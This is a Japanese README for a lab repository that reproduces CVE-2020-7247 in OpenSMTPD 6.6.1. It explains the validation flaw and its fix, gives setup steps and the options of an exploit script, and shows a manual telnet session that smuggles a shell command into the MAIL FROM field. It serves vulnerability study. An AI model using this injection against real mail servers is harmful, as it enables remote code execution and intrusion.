このリポジトリは、管理されたプライベート環境でCVE-2020-7247をセットアップし、エクスプロイトするためのベースとして提供されます。公開されているコードと設定はすべて、この脆弱性をテストするためだけのものであり、自分自身のシステムではない、または許可なく悪用するためのものではありません。このリポジトリの所有者は、第三者がこれらのツールを使用したことに対して責任を負いません。
コードの主な問題は、メール検証が機能しないことです。これにより、MAIL FROM および RCPT TO フィールドに危険な文字が渡される可能性があります。
メールアドレスのローカル部分が無効な場合、コードはドメイン部分を追加して有効として解釈するため、有効として扱われます。これにより、攻撃者は任意のコードを実行できます。
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
安全にするには、コードは次のようになるべきです:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Opensmtpd はその後、MDA コマンドと呼ばれるものを実行します。このコマンドはメール配信に使用されます。次のようになります:
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
ここですでに問題が見えるかもしれません。mbox.from は送信者のアドレスであり、攻撃者が完全に制御できます。
ただし、攻撃者はシェルコード内で次のリストに含まれない文字のみを使用できます: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
完全な開示はこちら
サーバーを実行するディストリビューションは自由に選択できます。Ubuntu 18.04 LTS でテストしました。
セットアップスクリプトを実行可能にするには、chmod +x setup.sh を実行します。必要な場所でのみ sudo 権限を含めているため、通常のユーザーで使用できます(もちろん、ユーザーは sudoer である必要があります)。
セットアップスクリプトは、smtpd 自体に必要なすべての依存関係をインストールし、設定ファイルをそれぞれの場所にコピーします。
Opensmtpd 6.6.1 がインストールされます。
opensmtpd を手動で実行する必要がある場合、またはスクリプトにエラーがある場合は、以下を実行してください:
cd /usr/local/sbin
sudo smtpd
または
sudo smtpd -dv でデバッグ出力
このリポジトリの設定は、ローカルテストのみを目的としています。外部ドメインや高度な設定は含まれていません。
aliases と smtpd.conf は、このサーバーのセットアップに必要な 2 つの設定ファイルです。必要に応じて自由に変更できます。これらの設定はテストサーバー用であることに注意してください。サーバー名は ase(smtpd.conf の @ase ディレクティブ)で、ユーザー名は ase(aliases のユーザー設定)でした。
smtpd.conf 内の <YOUR IP> をサーバーの IP に置き換える必要があります。そうしないと smtpd が起動しません。
この環境内で IP アドレスやポートを見つけた場合に備えて、使用した環境の重要な事実を以下に示します。適宜変更してください:
asease192.168.1.4025192.168.1.311337提供されているエクスプロイトは Python 3.x を使用します。依存関係として pwn を使用します。このエクスプロイトを使用するには、pip3 install pwntools で pwntools をインストールする必要があります。
基本的に、エクスプロイトはユーザーの操作を必要とせずに自動的に脆弱性を悪用します。ただし、Python スクリプトを使用せずに手動でエクスプロイトを実行することもできます。
前述のとおり、提供された Python スクリプトを使用せずにエクスプロイトを実行することもできます。SMTP プロセスを手動で実行する必要があります。これは netcat または telnet を使用して行うことができます。
手動で行う方法の例を以下に示します:
telnet <サーバーのIP> 25
HELO attacker
250 ase Hello attacker [<クライアントIP>], pleased to meet you
MAIL FROM:<;ここにシェルコードを挿入;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery
提供されたスクリプトを使用することもできます。以下のパラメータが使用可能です:
--targetHost はターゲットを指定します。必須です。--targetPort はターゲットポートを指定します。必須です。--customCommand は注入するコマンドを指定します。shellcode.py は、リモートシェルコードがどのようになるかの例です。\
